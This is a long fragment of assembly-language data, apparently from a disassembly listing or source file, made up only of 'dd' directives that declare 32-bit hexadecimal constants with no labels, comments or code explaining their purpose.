dd 70DD835h, 7DB50A9Bh, 0DA957A6Ch, 6B6F949h, 5FF1EC1h
dd 0CB59EBFBh, 3C77BD30h, 0AA7EA8C0h, 706BA4EEh, 7EE063FDh
dd 88C203CCh, 0A1AF1782h, 90085695h, 0DB25896Eh, 0B61959C0h
dd 98462723h, 29EF2F12h, 372E720Dh, 861E0378h, 0DA9BB519h
dd 0EA8E2270h, 0D6FFCDC7h, 22E13829h, 8634F04Eh, 0A647DCA9h
dd 0CF1F4B36h, 853B174Bh, 9E00A68Bh, 0C01E0F61h, 2F2F9B15h
dd 0C524732Ah, 0CEE99D1Ah, 7AC75F02h, 0C287CF29h, 0ECF77F5h
dd 0F7A2DDFh, 0BC42FA1Ah, 5D52CDD3h, 9C31CE02h, 99583DC4h
dd 0A7116666h, 8CE406B6h, 0D3AAD407h, 3FA53C8Dh, 0FFE41D22h
dd 2B154A03h, 292A8470h, 62F70BC8h, 92274642h, 88D42632h
dd 6736426Eh, 8905E236h, 6E0BD7EBh, 0F8690A4Ch, 0FCBCEA9Ch
dd 0FBC6B299h, 97FBF1Fh, 0C738DD2Eh, 0CA506495h, 73CD298Eh
dd 72B85A49h, 0A87B4A7Fh, 314ED5F6h, 0EC8F0D68h, 6CF43CB0h
dd 1D80EB4Dh, 6EC865A4h, 9EABFE96h, 594A770Ch, 48DE33AAh
dd 9F5F8726h, 405E2310h, 833702E5h, 146BE850h, 0D63382C0h
dd 13C333BEh, 0A629E934h, 0A8C1D41Eh, 747C7F35h, 0F5F56DCFh
dd 0E40DC6F3h, 0E0E94FD7h, 5B061C9Ah, 730B4072h, 0E5DE2E7h
dd 0B002D9ACh, 3D3B5FC0h, 0F9210C8h, 0D138E81Dh, 9AA4F986h
dd 8BF85ECCh, 45E3A2FBh, 0E59C1600h, 1CCEC9C8h, 0C00D6797h
dd 51489046h, 0BA265631h, 0DA0E5C69h, 0BC141D38h, 63B72CFFh
dd 3654D796h, 0A26A648Ah, 63DE9A37h, 7762617h, 0BD3861EDh
dd 3C11D2F4h, 0CA1838Ch, 0E8D0DC4Eh, 0C223ADA1h, 596F06A9h
dd 0B4645509h, 15E4DAE8h, 3BAA4A49h, 896D5275h, 0DB431B73h
dd 0F6601E4Ah, 6C0D6B94h, 7601D1EAh, 1DF4B3ECh, 9C040439h
dd 0D3142269h, 0EDBC19C7h, 0D6A30B9h, 2B9161C0h, 45CB9B2Fh
dd 34ED145Bh, 20651853h, 0C42737DFh, 0E5466CAAh, 141742CCh
dd 3C11697Bh, 15478116h, 0EDCAA991h, 4A098A10h, 0B5FB1FD7h
dd 0B6D79AF2h, 9392767Dh, 9319F59h, 0EFCCC1A9h, 622D925Ah
dd 0DD02DB7Dh, 7E6AC414h, 5F1C1238h, 0B287BA35h, 9E308F8Bh
dd 96EAC8C9h, 0EAC0BABh, 29EF8216h, 5A22FBD2h, 0D4260B40h
dd 68B67077h, 5F2D0283h, 3F263B03h, 868AF41Ch, 0C79E67DCh
dd 1982EDCh, 3E84DDEDh, 64A9CD5Fh, 0F6AC3B92h, 0AA1C8004h
dd 7B32CF9Eh, 92DEDC5Bh, 99770DE4h, 9789A36Fh, 7E2ED3FFh
dd 23C88C12h, 0EB1C0BB4h
dd 8705AE40h, 9577DFD3h, 5F611D83h, 2F87FD7Ah, 580E9E52h
dd 783D0C7Fh, 401545CFh, 3CB57A4Ch, 0F392252Dh, 72B62B2Dh
dd 2B2363CFh, 643B4B17h, 62AE8DD9h, 7DD9A810h, 0E801CE8Ah
dd 6F3A697Bh, 2C044B20h, 2C6CA74Dh, 39D375E2h, 0E989FF64h
dd 0FB0522Fh, 0E6155323h, 152A0019h, 3D2B32AEh, 87E085Ah
dd 0AD18BABEh, 28E70DAFh, 0C9BAD177h, 54239552h, 62A7CE77h
dd 0E60519C2h, 0E77F248Ah, 0FCB710D2h, 0C8C1728Ch, 306443A4h
dd 5EC894BCh, 83BCB880h, 90489E3Ah, 68F6F243h, 7533FB0Eh
dd 1E51844Dh, 0C4200343h, 0F6A77FE2h, 400FE952h, 4B0BFC49h
dd 0CEAF7C91h, 1295C070h, 2134A42Dh, 957D3965h, 81343AD6h
dd 0CC495330h, 0B319BFF5h, 5CB31FABh, 49388E9Dh, 0EB61BEFAh
dd 17FCA781h, 29472DFAh, 44228EBCh, 5ECB3BF4h, 0DC4DACC8h
dd 0E2646FDAh, 0FBD357Eh, 610F7BA1h, 597760CBh, 37700D6h
dd 5FB6057Ch, 0B6985619h, 85BE04B4h, 5E49C3B2h, 0D979481h
dd 0F6E0A9DAh, 75DF668Dh, 0E0776A3Ah, 6E168E28h, 0F38BAFA2h
dd 6BA75E34h, 84631FBh, 0CDB3CE7Bh, 7CD37ACFh, 7F56AF93h
dd 863438E9h, 474A554Ch, 802A092Dh, 3B45462Ch, 3891949Fh
dd 965FA27Fh, 0A54B5399h, 1DC6942Eh, 0EF100B76h, 0A4828FAAh
dd 0EBFCAA94h, 201FAB23h, 38D2004Eh, 0B8722E08h, 0A5A5FC4Ch
dd 0CDB5C65Fh, 426BCC6Ch, 7A0E74F4h, 38391ED4h, 3715031Dh
dd 0C99EE2D5h, 9C7B75ABh, 0FCD6B17Dh, 22EE479Eh, 968CB90Fh
dd 5FB06AA7h, 83F52738h, 0DA4908D0h, 98576D44h, 7E7D22F0h
dd 0AC82BA9Fh, 261428C1h, 0C4BFC50Ch, 3D983723h, 3853AFC6h
dd 3902FB9Bh, 0BB7AB17Ch, 46CFFE0Ch, 8D93DA59h, 81113C98h
dd 0DDD2EE7Ah, 0AD3DBF65h, 7B52B6B0h, 3A4FAE91h, 8579C463h
dd 20C76885h, 20153E7Bh, 0D0139D79h, 7A27A5D9h, 157A750Ch
dd 0E958E426h, 0DA9E5BD0h, 9885649Ch, 0C324347h, 4F06A6A4h
dd 7B97AFB7h, 0C28335C5h, 25E1C372h, 96FCBD84h, 36240DBh
dd 2AC16A2Fh, 708017A3h, 293C6761h, 8D4DD6FAh, 0A4C24685h
dd 6D50911Ch, 52F0ED0Ah, 27C89BEDh, 0B98232Ch, 77202A26h
dd 45B0071Bh, 61F32F20h, 0F642C143h, 248A514Ah, 1757FBBEh
dd 821A46E3h, 0D8CEEA8Ah, 0FD2B068Bh, 4C8BC94Eh, 0E4BDAC95h
dd 0B846A1A5h, 0D6AB33EEh, 0B637D1D6h, 63C5C4F5h, 94FD5E61h
dd 17480498h, 71D5A7Bh, 0A726EB4Bh, 49AC8FBAh, 6010F3A1h
dd 0A6206C80h, 0B6A06F8Bh, 64CC5B7Ah, 57298C13h, 5FE0AD6h
dd 42A3871Bh, 435617A8h, 5C6AD8CAh, 49B1A71Dh, 21B0327Ah
dd 88A9FF23h, 0BC32103h, 1DEDAAF4h, 4F448318h, 0DC56FB86h
dd 0A425A6B2h, 1DC4E597h, 0F37EB61h, 2D2A0D9h, 793D5F0h
dd 0A73964D6h, 0FA2EC0D3h, 0A59E918Ah, 0ED0B44A7h, 1289CC53h
dd 8B88D981h, 1DE69B77h, 0D9ECD1ABh, 0DD658751h, 6024A18h
dd 5963DA55h, 1523E67Bh, 0A389BB84h, 30DB453Ch, 1970109Bh
dd 1EBDA3A0h, 0D453581Eh, 55FD7C33h, 5361CF24h, 727603A9h
dd 126F8FF2h, 3E814884h, 0A24D42B3h, 65D08BC3h, 9FC3FFE2h
dd 371B6ADDh, 3E18ECFCh, 550150E0h, 67E9EEF6h, 0D94FB59Fh
dd 5D57DC03h, 911565B6h, 7019FA79h, 1377E9B5h, 0ED0A507Eh
dd 3E72AF08h, 0CA06493Ch, 198F871Bh, 0B56FAB32h, 81F720B6h
dd 0C8927381h, 3B32758Ah, 57558508h, 94BA10C8h, 7CC851D2h
dd 0EACD7D8Dh, 15AE6C4Dh, 0CD1F9D5h, 4A348DB9h, 0D8C7A818h
dd 0AEB36654h, 0B4488833h, 0FA6E36A9h, 47106A58h, 0E5C9949Ah
dd 4047E878h, 445E9387h, 76919A80h, 39466990h, 0A8B54C31h
dd 0F09543ECh, 95460219h, 0E6BFFD6Bh, 0EABCE2F2h, 70A5EDA0h
dd 0E94EFE45h, 804450C9h, 282F6A9Bh, 8E71A573h, 356BAAA4h
dd 0F69F4608h, 75B101A0h, 79DEA84Eh, 748C9113h, 0F54F19B7h
dd 4573318Ch, 462949B4h, 61E55223h, 0E341E83Ch, 0D4FC465h
dd 0F5A41613h, 0BCA9E432h, 0F23DA321h, 9FB852BEh, 69E8EA76h
dd 0DBD59A6Fh, 5D62618Ah, 58C0104Fh, 9C9F10B5h, 1642349Dh
dd 57D359BCh, 82468183h, 0ACB3477h, 1E6D119Bh, 3161B992h
dd 0ACE461Dh, 6C4C363Ah, 0B2655747h, 0E0D71C23h, 969FE8D4h
dd 37811FD8h, 51FA98ABh, 0C469FA2Ah, 0E2BF63E2h, 0E1D07507h
dd 0E0B9AA64h, 0DEDA7A88h, 3AB5061Ch, 3EB47C10h, 0CDDD7A8Ah
dd 82C9AEE5h, 60B8538h, 75A5E23h, 6CAEC7A9h, 38DACFE6h
dd 15892836h, 3EBE5535h, 3E2B421h, 9A0F9706h, 42A50D39h
dd 54A9F7B3h, 0ECFC729Fh, 8F143F32h, 93966C71h, 8E2825F6h
dd 0E84C8457h, 7E55E4EDh, 0C14DAEA7h, 8478D4Ah, 6E405E8Dh
dd 368D8756h, 69DA74Eh, 19789732h, 70632BD5h, 0F9B8286h
dd 2C812596h, 0D78B8A9Ah, 8E9EFD3Fh, 17815963h, 2DC87CBAh
dd 0E1BCFB9Fh, 0C8776F2Bh, 1C07429Ah, 690BF02Ah, 1C5D85CEh
dd 1D288603h, 86F8F97Dh, 2D524C69h, 6DF07EC6h, 9C5D1747h
dd 46A4D42Eh, 1A22B7A8h, 0BA700381h, 0E8D63D7h, 0E4EFA79Dh
dd 53F106DFh, 0E339798Eh, 3B760FACh, 4C6E5F05h, 67782B36h
dd 9B6FD1A4h, 0C8943B4Ch, 5E9C9B78h, 98E14F2h, 0BDE93ECDh
dd 0D1420AE3h, 6A163774h, 0E12995B7h, 1457BD5Eh, 0DBFA3E1Fh
dd 287523D1h, 0FD1C7AE4h, 0DDB3A15Dh, 1D5ABFAFh, 0B28419h
dd 19E5694Fh, 18540D4Ah, 7A4FE430h, 7CEBA43Ah, 5C3F1927h
dd 0E1AD8F9Ch, 5105FCDCh, 19A4F68Bh, 0A07DFC23h, 26A937A2h
dd 918C15A4h, 594A3CA1h, 8D139C58h, 0CB041A81h, 0F378BECBh
dd 623D8286h, 0A686F765h, 5A773F4Bh, 4350843h, 0AAA81B9Dh
dd 3ED639DCh, 94393861h, 4CFC172Eh, 9D2ADE16h, 928B57A1h
dd 0D3240A0Bh, 716A7972h, 9FA7CFE7h, 7FF8B5C2h, 5E6A304Fh
dd 0CB3B8E92h, 76A368F2h, 0C4592F54h, 0FDFA0A34h, 53D9C150h
dd 50740C1Bh, 0C4601BFAh, 6E004E51h, 7F2F9170h, 0FC0362C5h
dd 0B387FD50h, 562F38EAh, 0FDD849ECh, 400223A1h, 6EC2B794h
dd 0D7D7EAB9h, 0AC6988FBh, 6B103620h, 0DAC96CBCh, 0A807890Dh
dd 253A1DC0h, 0D10D7EB5h, 0D2251279h, 83B036A9h, 0C8E913h
dd 341506E9h, 6953F742h, 0AB092537h, 24E38E68h, 5E9160C8h
dd 9F08DDC0h, 465B7EB0h, 0C936EA8h, 0F966501Bh, 0B76CC5FFh
dd 61191CF3h, 8881269Ch, 56EAE492h, 67B4DA9Eh, 35B020A6h
dd 0ECAFF166h, 95DD848Eh, 93BE21E9h, 75ABA71Eh, 38B5AD76h
dd 0E76E710Eh, 83205A5Fh, 6BD027h, 0EA218AD0h, 0DEFCA8BCh
dd 3F476F6h, 2A3E51Eh, 16CB8573h, 0BE631896h, 167FE512h
dd 3A179DD0h, 34919827h, 0A270405Bh, 8ECBDEDAh, 85C69F20h
dd 54DA50AAh, 0A9F78A6Bh, 0C41A7C46h, 1754D135h, 3AEAD48Eh
dd 66666A30h, 9FE2A95Ch, 4E555D49h, 6593E64Eh, 173E07C7h
dd 0B45554BAh, 0A282A53Dh, 0A4B03C03h, 5E96242Bh, 0E2DD3374h
dd 6C47B9Bh, 0C8C6A62Bh, 0FB0A2BD8h, 0C5FAAD4Fh, 0F30F0D05h
dd 236784A4h, 0EE6989AFh, 23524Fh, 3A0EC5B6h, 5071C62Dh
dd 65BAC573h, 7E7EA5C2h, 0A597F297h, 0A0A91242h, 4A9562BFh
dd 0B31EA93h, 6C176E83h, 0DCFDE0Bh, 0D1E270Ah, 0F2BE0D98h
dd 615913BCh, 6FAFE17Ah, 0DAC34D45h, 1F07DD21h, 0E4436CE0h
dd 55D1E385h, 2CEF7D0Ch, 0C690C176h, 921767FBh, 31473AAAh
dd 11EC2B98h, 0B8A9650Dh, 9B6FC2C8h, 1BA66EE6h, 0E068DE05h
dd 0CC9D891Eh, 8F9705D8h, 9D507E3Ah, 0A51867BDh, 99447064h
dd 32AFBD5Bh, 0A45A8A94h
dd 4CFACE21h, 175F51F0h, 6862247Ah, 4BDD7155h, 48A82649h
dd 83565C05h, 2BE625BDh, 547F59DEh, 0CE31721Eh, 0CBCB53E2h
dd 0E0145454h, 7014A7CAh, 0B9D67EDh, 540562DDh, 4C3D90EFh
dd 76040742h, 8C348552h, 0F3EF05F3h, 0BC59670Ch, 55A9FC0h
dd 0C1CC651Fh, 6A365348h, 4A5FE331h, 68B2548Bh, 0ECE097BEh
dd 0C2D08BA3h, 6BC0E08Eh, 0D62C98C0h, 8CCB05E3h, 32496F0Ch
dd 6706239h, 5BAD9F1Bh, 0FA2754F2h, 0E17E312Ah, 0B623E11Ch
dd 2E5F5118h, 5DF578C1h, 0A19236F0h, 0F876AD39h, 1626685Bh
dd 457C2544h, 0E123F633h, 31B83161h, 20F1AEA3h, 0DEA9AA7Fh
dd 0A9822AC5h, 27DAB9E7h, 66D12E4Fh, 274EEB2Fh, 0D3F088D6h
dd 0A790A6E0h, 9132FB6Eh, 7AAD8ED6h, 0D4B07D1Dh, 7B62DEECh
dd 0DDEF19Dh, 4CDDC268h, 9CF6D8CEh, 34F4A7D7h, 4B901805h
dd 8CE4D694h, 0EF4C4EE9h, 8B0A380Ch, 4986C18h, 0D3C58736h
dd 2F4BEB40h, 98FD15A0h, 0C8BB1C5h, 0AB8C5BB3h, 24F22BA3h
dd 6BB16F31h, 0D1857530h, 0BCA5B7D2h, 3FF223BEh, 0E71A8F02h
dd 0FB3169Ch, 0C601A163h, 479660D5h, 2E7A591Fh, 0C82475E8h
dd 15CD29CEh, 9C29C216h, 0D31E2B18h, 923C41A8h, 0DC7D0A48h
dd 0E8293048h, 0ED2D0199h, 470B177Dh, 0F562DC70h, 2647EB06h
dd 2D5B82CAh, 0CDB8C215h, 0C4B49B8Fh, 1BF0508h, 0C25A3228h
dd 0F7DF345Dh, 0C5081DEEh, 361E1B5Dh, 0CCA21E1h, 30EBFC59h
dd 60A8C431h, 1FF2E245h, 8E3F134h, 3FB3D41Ah, 7B1AEDC0h
dd 9E40E9F3h, 451BF294h, 0B241E5B2h, 510ECF0Bh, 51313734h
dd 0D59CD425h, 306C7445h, 0D1623748h, 0A74025D3h, 0FF55CF43h
dd 7AB236FFh, 28781E5h, 747BDB75h, 0D667F11Ch, 5BF259E2h
dd 54405F2Ah, 0B6CAB30Bh, 0ED58FA6Ah, 3EC1D56Fh, 0DF70A9B8h
dd 0B27C431Fh, 6E8B0C75h, 663E0BD3h, 0DFFB2CE1h, 3EBEDF2Bh
dd 0D80B2C8Ah, 2B8D5863h, 32FDD8BBh, 26437F4Fh, 70AC8DC2h
dd 93FC2804h, 9F0C9471h, 0A555ED3Fh, 2BB478DCh, 6126DB32h
dd 0DC73C1A2h, 7D39BACh, 0EFBC8C8Ah, 0F48E474Eh, 6EC357ACh
dd 309AB2C9h, 56F67C37h, 1579E296h, 317E65A2h, 8D3ABFF4h
dd 0C5A35054h, 5610E6DBh, 0CAEC89D8h, 5A61ABC4h, 5B59C990h
dd 7408DA58h, 0A2ECA43Bh, 215B2E43h, 0A377C0EBh, 6C90476h
dd 7E4C20Eh, 3DBA0D71h, 62DE68A6h, 67975495h, 60F2736Fh
dd 606ECA60h, 59842F4Dh, 18B9A590h, 6C7869F6h, 0C8D2B93h
dd 0F99DC92Fh, 4380C5Eh, 0E250AE98h, 1B31932h, 0A7E13713h
dd 8429D818h, 5418AC8Dh, 0DF257EF7h, 5B7EB541h, 0A51D1355h
dd 2C7B2A0Fh, 6F09C488h, 0C283064Ch, 90E9FB15h, 5ED14377h
dd 6C0164Fh, 6CB0D3B3h, 2800870h, 0C054A17h, 83C461D2h
dd 0D847EB55h, 607D62C6h, 0EAAFD3FDh, 0DD71651Eh, 0D7410EDEh
dd 53C466C0h, 7F88ECD5h, 0CFEB0835h, 18081E46h, 0CCADEA34h
dd 0CAD776D9h, 0E32B68C1h, 565522CFh, 0C0F0827Ch, 76E3E7ECh
dd 0A75A24Eh, 0EAC23685h, 0AB9AB388h, 0E88510C7h, 77A20B27h
dd 58A70D4Eh, 0B7B1167Ah, 8028B48Ah, 70FEFBB9h, 4AF75096h
dd 76682A6h, 0BC0ABE6Dh, 9A004ABFh, 0FF477B7Fh, 134CA9BAh
dd 7ECE8CADh, 0F84A0547h, 4D71FBD6h, 0BDD48B4Ah, 0E2A8D4ECh
dd 65A81997h, 0C394CF63h, 0CA5CD587h, 1FD5DF15h, 2EF5DB1Bh
dd 665F8AA3h, 9699C441h, 1AD7B4C0h, 0E1B15FA3h, 9726BE56h
dd 0E876A8CDh, 0DBEE4DD4h, 36D8A8C2h, 56320533h, 60F9D52Eh
dd 4B7DBBA0h, 287AEEFh, 6AD6956Eh, 78464CFCh, 0DC356415h
dd 0CBB38102h, 0E77565A2h, 7408B4ACh, 0E35B9EACh, 0AD16C742h
dd 0FE6BAFD6h, 57AF5913h, 14A861CBh, 7DAC24ECh, 0D6D8065Eh
dd 56AD57A7h, 0B7DF25F1h, 0C96DBE5Bh, 3D5B40C1h, 0E3290F0Dh
dd 9B52B061h, 8A678A78h, 94107653h, 92069817h, 3E9D3CDFh
dd 0AED3118h, 0ABD79B3h, 7AA50A9Fh, 4D43147Eh, 4698B58Bh
dd 1B311046h, 7C5CE060h, 56C27A96h, 73FC8EA0h, 0C0EFF183h
dd 841332A1h, 0AA17CFFAh, 98564F45h, 8D8010F2h, 3D511436h
dd 446ABE4Ch, 5ED5D67Dh, 974162D0h, 3736984Eh, 0F4BDA712h
dd 0CD119C97h, 32CA3DDDh, 0B76541D5h, 0C1A19B1Dh, 1AC4FA0Ah
dd 40699883h, 0BB0D4A3Dh, 22159A80h, 8A15F2A2h, 36F51226h
dd 55F4A9C1h, 2E0690CDh, 3508D15Bh, 7A60C559h, 6EB46929h
dd 5EF608C7h, 7F0FBBD0h, 0E0F79554h, 0BF037EF4h, 30E5A266h
dd 0E215DB94h, 71FA727Fh, 75817318h, 0A034EDA4h, 0FDEC389Dh
dd 7CFBC5A4h, 398739FEh, 0DF6F3D3h, 7FF4412Ah, 598D8202h
dd 0A6B8498Ah, 5CFD1889h, 290B64ADh, 4170C604h, 2E4516ABh
dd 416ABAF1h, 15700B85h, 256306ECh, 9A8E8765h, 0AE317119h
dd 7EE65395h, 85219250h, 0C2B3E9ADh, 6A6C73F9h, 0F0BF6877h
dd 0C353BC08h, 0A366BE4Bh, 0EE31175Dh, 0AA934137h, 9EEDADB2h
dd 0AFF75178h, 6D848FECh, 9E192B92h, 45C27A1Eh, 0D27EAB48h
dd 657A0A07h, 1478519Bh, 0E1A08FC6h, 7604B115h, 837DDCE3h
dd 0E9839CEAh, 1E296A00h, 0AFDBAEFDh, 0B66C6C9Fh, 96B86756h
dd 46CEFD39h, 0BF22DA76h, 4D31520Fh, 16334F0h, 7696FBFDh
dd 84AAADA3h, 974C11F5h, 91DFDBBh, 6F358E07h, 0FFA19745h
dd 0F2521A9Dh, 6878E948h, 0D9B7E457h, 1B825A25h, 7F1D6D31h
dd 8B9E0033h, 0B37DAC2Ah, 2D1032D8h, 0FE89C77h, 0F9EAD70Ch
dd 3D43C9FBh, 7E6564h, 2A4E4011h, 2088DED1h, 2C7EEAC2h
dd 2D6FC086h, 0B708B2BBh, 0D7F76158h, 0A9BF6C3h, 0D506F289h
dd 218E3856h, 0F9608C60h, 8D1FF22h, 970031FCh, 970D5D23h
dd 0F860E96Fh, 653AE23Ah, 0D42EA185h, 0DFA143FFh, 0AC3DAC4Eh
dd 0D54D7A1Ch, 6150BA69h, 8C72AF38h, 0BC959EE9h, 77E2CE55h
dd 5370FB4Bh, 0D05A0D97h, 5D6F5DD8h, 17AF17Ah, 0DE9C9B7h
dd 0E5B06978h, 83EF3A44h, 4E32A08Bh, 0E974FCF8h, 909C1D25h
dd 0C83A40D2h, 7AB57634h, 0A8B49478h, 5774752Dh, 0F4318852h
dd 0E529571Eh, 3ABA4777h, 4E9680C8h, 0C0C64278h, 0E28B10C2h
dd 3327ACF0h, 7EF9F1FCh, 7A6C8577h, 2CA19ED2h, 893F4CA1h
dd 55BEFD46h, 1450EB0Eh, 5CD25AA1h, 42A625CFh, 2398B3A9h
dd 0BAA1C321h, 0EBF6E1E8h, 0CD739669h, 3FF3859h, 90803FF3h
dd 409E3529h, 0AACC57ECh, 801262FCh, 0D855622Fh, 492DB096h
dd 0D444163Dh, 751AA314h, 0DA038B4Eh, 519E0A74h, 5BFD5FDEh
dd 84A8CD0Bh, 8D9A4E1Bh, 8E40BF75h, 0DCFA73D8h, 1657E239h
dd 571825A6h, 0C6FAF2B2h, 6919DC1h, 11F35AA4h, 6EBDFE42h
dd 196F9C32h, 0F44FD32Dh, 0E8A0FBADh, 61F49369h, 0D717E6E5h
dd 675E2FEAh, 6D7CD410h, 117EE1E8h, 0AD1B2F90h, 1FB64526h
dd 0EE500DE6h, 0EAFBD502h, 2C921308h, 7693DE11h, 0A16B60E4h
dd 3EF38D5Ch, 5DC773EDh, 0D2A7E3FEh, 39A44476h, 48B6393Ah
dd 0EE865A10h, 402AD2B4h, 5667D98h, 0D23C6BAh, 0FB887F43h
dd 0BD84C0C4h, 0DF8B425Ch, 3D971D74h, 0F84EE01h, 47DD93E7h
dd 5DCCE503h, 1E0E94B1h, 329E685h, 0AC1CFD3Eh, 0F26DB76Ah
dd 49DAC5AFh, 25DFB880h, 0CEC83AFBh, 3AB929D2h, 8198BFD3h
dd 0E647A934h, 0E0BBB3D8h, 0DD29CA95h, 4485EE0Eh, 4C776EDEh
dd 116C9418h, 0A084F9F5h, 4705E81Dh, 34FBFD9Eh, 0D34BF726h
dd 0DB746D33h, 466F66FAh, 0C4B622F1h, 0FE676A31h, 3D8C3C22h
dd 0F0958AAh, 6433F3F9h, 0A951DC5Ch, 31C318D4h, 240477h
dd 0C66BE629h, 9367A305h
dd 0A02989FCh, 0F0D2BFCBh, 21E17365h, 0B64D5825h, 4D6C0BE8h
dd 43EEC5C2h, 455C9882h, 99B06FD4h, 0F86A4D9Fh, 95FD6BEBh
dd 0D020BD94h, 0ED72BDB2h, 0E958910Ah, 0F2EF94E5h, 43945903h
dd 9852941Fh, 0DE1A8C09h, 0DC63C2Dh, 0C20991DCh, 0B901B1C9h
dd 0F43800E9h, 0F721A9C8h, 2BED8DAh, 6D3DD728h, 0D68E6AB9h
dd 3CB21890h, 0E0595148h, 986249Ch, 1DD71BE8h, 0D2A3C56h
dd 0A0431B26h, 41E9E44h, 4DBE0651h, 770686D1h, 2E3E380Eh
dd 313EFF45h, 0F73C53Ch, 47492255h, 3D9CA4F8h, 20BEDC79h
dd 0B5E6A9A0h, 0B4093C4Eh, 2BA42A94h, 96C32B53h, 6549095Fh
dd 43211DEAh, 96C25B6Ah, 6BE93898h, 3ABB1ECDh, 7B9C847Ch
dd 0E6125FE1h, 4BC8D7F4h, 56DAEB5Dh, 24D7C8E9h, 0A4D7E158h
dd 8E670ED5h, 0E1BDD884h, 29ED1192h, 0A04B377Fh, 0BBF3D1B4h
dd 0D956815Fh, 5A6A0953h, 7240488Dh, 55666E02h, 0E146F809h
dd 71FE9084h, 3DA28D5Fh, 0F5A75039h, 0F908C413h, 188A0244h
dd 0A67FFDD3h, 5126509Ch, 2FDDB66Dh, 9C546646h, 6DCA7A57h
dd 5EE8F3AEh, 12E78D49h, 31F63152h, 0F21B9487h, 0D6ECFCEDh
dd 677C90FCh, 6457DB45h, 0F6F6410Ch, 64051867h, 0BEBC9A7Eh
dd 0D53F4664h, 0C4F44C70h, 32E8E05Ch, 0C62B30B3h, 0A504859Dh
dd 0B1C27531h, 0FA2A38h, 0BC9F27A9h, 0C6526BF8h, 0AF2CC681h
dd 9A66A9C9h, 69328979h, 814606CAh, 276B53A9h, 74635689h
dd 28F407CAh, 1E838EA5h, 0DF7AF570h, 0E6EFE999h, 50D6E6B1h
dd 7B1E581Ah, 0ACFDA8A7h, 1C3E7C0Ch, 73132E19h, 3765B33Fh
dd 9A8EA6B1h, 0D895A06Bh, 33E6499Ah, 0D8E73D47h, 9D1C0F61h
dd 0E6784923h, 4488B163h, 2C05ADB6h, 0AB43B763h, 0C1C311EFh
dd 5A76F6Ah, 86A85B7h, 8133101Bh, 0C2A29EAEh, 18231602h
dd 0DE8414F6h, 2D458A44h, 2630D7F2h, 36A16F8Bh, 549D8053h
dd 0F48A48A2h, 6A116A0Fh, 0D01A310Dh, 1209029Bh, 8C74480h
dd 7BF3405h, 337692AAh, 557F35F5h, 6AAB49F8h, 0D0916527h
dd 2F9C3F33h, 0C15336D9h, 19E6CC06h, 97E9537Fh, 0A02D5D82h
dd 4B7F94BDh, 0B22375F0h, 3BE3F3BEh, 36D5B493h, 0BDE62D85h
dd 0A90717E9h, 0B9E232Eh, 7DD6E88Ch, 305F3BA7h, 0FE239199h
dd 0C88CD332h, 9CEF90h, 5ABDD91Eh, 1C29551Dh, 353268D6h
dd 0C2943450h, 422BE416h, 76CD046h, 0BF447271h, 1A3DACD9h
dd 234743BDh, 58A162A2h, 0AB2487E4h, 24F97B74h, 18D38FA2h
dd 0C5A64F01h, 46CF3806h, 20F4FA5Ch, 0B2DE26E8h, 13974097h
dd 0F79400F4h, 84F4D971h, 1A3CC627h, 0AAA376F1h, 84D1DA53h
dd 3BAC20A8h, 0C75B2953h, 0A5C9232Bh, 3E5D597Ah, 0A922477Fh
dd 0CE55D3B2h, 1C5F9FEEh, 0AF7DA28Ah, 48D579B9h, 0F7D3A98Fh
dd 9AB5524Dh, 92EC1B4Bh, 8AE8DF0Ah, 0D1108AB7h, 0C368EA7h
dd 0E960FD42h, 53EFA0FCh, 279D0291h, 962F9053h, 0BA1EC8F9h
dd 0FED671FEh, 80798E45h, 9D2A6188h, 8AE4BC14h, 0CE48F08Dh
dd 0AECD2ED0h, 69EA57A4h, 8DEE3F46h, 46D0F6B7h, 45724C44h
dd 0EE60E519h, 45223556h, 0DE5FCA76h, 666F679Dh, 550D8B15h
dd 0C7897100h, 9C01F854h, 0F232CE13h, 0CF6005F3h, 7D99D0FAh
dd 0B2427E64h, 6C0F9D3Ch, 0E2724EAEh, 7B90128Ch, 0B534AEADh
dd 0E309831Fh, 0AE433CBCh, 7C1654E7h, 9C52CDC0h, 0BBA1853Fh
dd 0F9F002EBh, 2A30B4BEh, 0BE047AB4h, 54D2267Fh, 0F5D9C20Fh
dd 0F66AAE22h, 15ABEDB1h, 0B40222EFh, 4490A50Eh, 0FFD04041h
dd 1BC1B768h, 5DC14CE5h, 38D10C72h, 0D60E487h, 0FE6A46A0h
dd 42EC9C1h, 12E15573h, 9A2B9677h, 9FCFE270h, 3E1C155Dh
dd 1D6580E7h, 1578D6E4h, 0DC0DD4E2h, 9C73BD0h, 0E2F68821h
dd 0AF296E20h, 5DAFC327h, 570535E2h, 0EEBC0D79h, 0B39C1A49h
dd 0FD4DE84Bh, 0CC261ED2h, 14E29F43h, 0C0E29AF3h, 0DA0D839Fh
dd 0E5D1ABE1h, 79AF7967h, 0A936C0CCh, 75BBAD30h, 0C6E87F00h
dd 0DB304355h, 0D7FCACC7h, 4510FBD1h, 0C3CBF380h, 543FF4E3h
dd 0CD675F67h, 0B6846D4h, 8C69698Dh, 113EFC14h, 0B15079F0h
dd 2DB6604Dh, 6F7ED072h, 9C4B21A0h, 0B83A3924h, 55ACF827h
dd 0E52CD0A7h, 4C7BCEE2h, 55E86023h, 93421527h, 1A67A41Ah
dd 0FE346DCBh, 8684BED7h, 1B6727EDh, 0A4AFE011h, 0A8ABFDC7h
dd 50F0B035h, 0AF267E07h, 704E7A64h, 219B1834h, 4587BE66h
dd 5C4C3F8Ch, 0EB42376Ah, 0DD90A220h, 0A90AD1C7h, 2140DF9Ah
dd 7435480Bh, 59A7052h, 0BA2BECD4h, 0B8A03162h, 0A26BE05Ch
dd 0D6A9DF8h, 1C08ACB2h, 0FCE6AE45h, 0C2E9CE49h, 2420DF76h
dd 25EB23F5h, 0CA978D82h, 2742C557h, 1BE7FD60h, 34FB16Ah
dd 0CF71C159h, 0F339347Eh, 3D715296h, 0B123D432h, 0F291268Fh
dd 3E205ADAh, 0B41E2BDh, 0E2FF1311h, 0E9C2D80Bh, 0DFA3A8F2h
dd 152A2C09h, 59BEA5BFh, 8AA41DE9h, 0FF184B8Dh, 7B3E4A7Ch
dd 0D331075Ch, 14BEA0C7h, 39794EB4h, 0D4809919h, 163A10BCh
dd 9C008512h, 89AE02F0h, 5D3E8E93h, 325254B8h, 9F0A1B72h
dd 0C5B42383h, 22C70B0Ah, 924E49F4h, 28C8FA66h, 5DDAFC8Dh
dd 60A39181h, 2A7693CFh, 9D9D68A9h, 0F7C65155h, 0A4F4DE19h
dd 30F6C5E9h, 6F449A54h, 0F9F4003Fh, 0BF6A1DA5h, 0C3669745h
